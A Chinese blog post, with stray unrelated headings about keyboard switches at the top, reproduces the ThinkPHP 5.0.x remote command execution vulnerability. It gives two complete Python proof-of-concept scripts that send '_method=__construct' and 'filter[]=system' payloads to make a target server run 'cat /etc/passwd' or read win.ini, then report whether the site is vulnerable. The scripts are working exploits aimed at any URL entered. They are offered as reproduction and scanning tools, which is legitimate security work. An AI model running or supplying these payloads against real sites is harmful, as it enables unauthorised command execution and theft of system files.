linux最新漏洞thinkphp,thinkphp5.0.x最新命令执行漏洞复现及扫描脚本编写
8种机械键盘轴体对比本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?漏洞复现2019.1.11日,thinkphp官方再次公布了一个tp5代码执行漏洞影响范围:5.0.x ~ 5.0.23漏洞代码详情参考:https://blog.csdn.net/qq_29647709/article/details/86307859提示:经过测试5.0.0-5.0.20版本使用的payload与5..
8种机械键盘轴体对比
本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?
漏洞复现
2019.1.11日,thinkphp官方再次公布了一个tp5代码执行漏洞
影响范围:5.0.x ~ 5.0.23
漏洞代码详情参考:https://blog.csdn.net/qq_29647709/article/details/86307859
提示:经过测试5.0.0-5.0.20版本使用的payload与5.0.21-5.0.23版本使用不同
提示:经过测试5.0.0-5.0.12版本不需要开启debug模式,5.0.12-5.0.23版本需要开启debug模式才可以看到执行结果
开启debug模式是将application目录下的config.php里的 ‘app_debug’设置为true
本文只是记录一次简单的复现以及poc编写
安装好thinkphp5.0.20版本
我们访问:
使用5.0.0-5.0.20版本的payload
已经执行成功了,复现成功
安装好thinkphp5.0.21版本
我们访问:
使用5.0.21-5.0.23版本的payload
已经执行成功了,复现成功
exp脚本编写
注意:
因为5.0.12-5.0.23版本需要开启debug模式才可以看到执行结果,所以如果测试结果没有回显可能是因为后台未开启debug模式
5.0.0-5.0.20版本使用的payload与5.0.21-5.0.23版本使用不同,并且两种方式判断方式不同,前者状态码为500,后者状态码为200,所以我决定将两种情况分开写,如果不知道具体版本,请务必将两个py脚本都运行检测一下
并且考虑windows平台与linux平台,所以使用时需要指定平台1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60#该脚本主要检测thinkphp5.0.0-5.0.20版本
import urllib.request
import urllib.parse
def poc(url,code):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',
'Referer': url,
'Connection': 'keep-alive'
}
data_windows = {
's': 'type c:windowswin.ini',
'_method': '__construct',
'method': '',
'filter[]':'system'
}
data_linux = {
's': 'cat /etc/passwd',
'_method': '__construct',
'method': '',
'filter[]':'system'
}
url = url+'?s=index/index/index'
print("您输入的url是:")
print(url)
code = int(code)
if (code == 1):
try:
data_windows = urllib.parse.urlencode(data_windows).encode('utf-8')
request = urllib.request.Request(url=url,data=data_windows,headers=headers)
response = urllib.request.urlopen(request)
except urllib.request.HTTPError as e:
print("状态码为:")
print(e.code)
if ('for 16-bit app support' in e.read().decode('utf-8')):
print("存在thinkphp5.0.x命令执行漏洞")
print("漏洞链接为:")
print(url)
else:
print("不存在thinkphp5.0.x命令执行漏洞")
else:
try:
data_linux = urllib.parse.urlencode(data_linux).encode('utf-8')
request = urllib.request.Request(url=url, data=data_linux, headers=headers)
response = urllib.request.urlopen(request)
except urllib.request.HTTPError as e:
print("状态码为:")
print(e.code)
if ('root:' in e.read().decode('utf-8')):
print("存在thinkphp5.0.x命令执行漏洞")
print("漏洞链接为:")
print(url)
else:
print("不存在thinkphp5.0.x命令执行漏洞")
print("请输入你要漏洞检测的网站首页url:")
url = input()
print("请输入你要检测的tp5操作系统:")
print("windows请输入1,linux请输入2")
code = input("请输入:")
poc(url,code)
运行结果:
tp5.0.x_命令执行2.py
代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55#该脚本主要检测thinkphp5.0.21-5.0.23版本
import urllib.request
import urllib.parse
def poc(url,code):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',
'Referer': url,
'Connection': 'keep-alive'
}
data_windows = {
'_method':'__construct',
'filter[]':'system',
'method':'get',
'server[REQUEST_METHOD]':'type c:windowswin.ini'
}
data_linux = {
'_method': '__construct',
'filter[]': 'system',
'method': 'get',
'server[REQUEST_METHOD]': 'cat /etc/passwd'
}
print("您输入的code是:")
code = int(code)
print(code)
if (code == 1):
data_windows = urllib.parse.urlencode(data_windows).encode('utf-8')
request = urllib.request.Request(url=url,data=data_windows,headers=headers)
response = urllib.request.urlopen(request)
print("状态码为:")
print(response.getcode())
if ('for 16-bit app support'in response.read().decode(encoding='utf-8')):
print("存在thinkphp5.0.x命令执行漏洞")
print("漏洞链接为:")
print(url)
else:
print("不存在thinkphp5.0.x命令执行漏洞")
else:
data_linux = urllib.parse.urlencode(data_linux).encode('utf-8')
request = urllib.request.Request(url=url, data=data_linux, headers=headers)
response = urllib.request.urlopen(request)
print("状态码为:")
print(response.getcode())
if ('root:' in response.read().decode(encoding='utf-8')):
print("存在thinkphp5.0.x命令执行漏洞")
print("漏洞链接为:")
print(url)
else:
print("不存在thinkphp5.0.x命令执行漏洞")
print("请输入你要漏洞检测的网站首页url:")
url=input()
print("请输入你要检测的tp5操作系统:")
print("windows请输入1,linux请输入2")
code=input("请输入:")
poc(url,code)
运行结果:
更多推荐
所有评论(0)